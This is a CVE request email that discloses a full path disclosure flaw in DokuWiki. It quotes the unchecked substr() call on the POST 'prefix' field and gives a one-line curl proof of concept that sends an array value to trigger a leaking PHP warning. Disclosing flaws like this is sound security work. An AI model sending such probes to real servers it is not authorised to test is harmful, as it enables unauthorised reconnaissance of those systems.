Subject: CVE request: Full path disclosure in DokuWiki

Full path disclosure in DokuWiki
========================================
  DokuWiki is a simple to use Wiki aimed at the documentation needs of a small
company. It works on plain text files and thus needs no database. It has a
simple but powerful syntax which makes sure the datafiles remain readable
outside the Wiki.

  The POST input 'prefix' is not checked/casted for proper data type before
passing to PHP's substr() function, which lead to displays an warning with
sensitive information on server with PHP error level enabled:

  $PRE   = cleanText(substr($_POST['prefix'], 0, -1));

$ curl -dprefix[]=1 http://localhost/dokuwiki/doku.php 2> /dev/null |
grep Warning
<b>Warning</b>:  substr() expects parameter 1 to be string, array given in
